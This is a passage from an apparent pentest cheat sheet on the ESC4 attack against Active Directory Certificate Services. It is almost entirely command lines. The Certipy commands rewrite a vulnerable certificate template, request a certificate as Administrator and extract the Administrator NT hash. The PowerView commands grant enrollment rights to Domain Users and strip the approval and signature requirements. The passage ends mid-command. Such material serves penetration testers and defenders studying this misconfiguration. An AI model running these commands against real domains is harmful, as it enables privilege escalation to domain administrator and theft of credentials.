ESC4
Linux
Attacking ESC4 vulnerable template
PS /home/bobbuilder> certipy template -u 'user1@local.lab' -p 'password1' -template Template4 -save-ol -dc-ip 10.10.10.10
ESC4 Template after modification
PS /home/bobbuilder> certipy find -u 'user1@local.lab' -p 'password1' -vulnerable -stdout -dc-ip 10.10.10.10
Abusing the modified template
PS /home/bobbuilder> certipy req -u 'user1@local.lab' -p 'password1' -ca lab-LAB-DC-CA -template Template4 -upn Administrator
Retrieve Administrator NT Hash
PS /home/bobbuilder> certipy auth -pfx administrator.pfx -username Administrator -domain local.lab
Restore template configuration
PS /home/bobbuilder> certipy template -u 'user1@local.lab' -p 'password1' -template Template4 -configuration Template4.json
- Create template
PS /home/bobbuilder> certipy template -u "user1@local.lab" -p "password1" -template SSL -save-old -dc-ip 10.10.10.10
- Restore
PS /home/bobbuilder> certipy template -u "user1@local.lab" -p "password1" -template SSL -configuration SSL.json -dc-ip 10.10.10.10
Windows
Import-Module PowerView
PS /home/bobbuilder> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
PS /home/bobbuilder> Import-Module .\PowerView.ps1
Add Certificate-Enrollment rights (to the Domain Users
group)
PS /home/bobbuilder> Add-DomainObjectAcl -TargetIdentity Template4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=lab,DC=local" -Verbose
Disabling Manager Approval Requirement
To disable the manager approval requirement, use the following PowerShell commands:
PS /home/bobbuilder> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity Template4 -Set @{'mspki-enrollment-flag'=9} -Verbose
Disabling Authorized Signature Requirement
To disable the authorized signature requirement, set mspki-ra-signature
attribute to 0
:
PS /home/bobbuilder> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab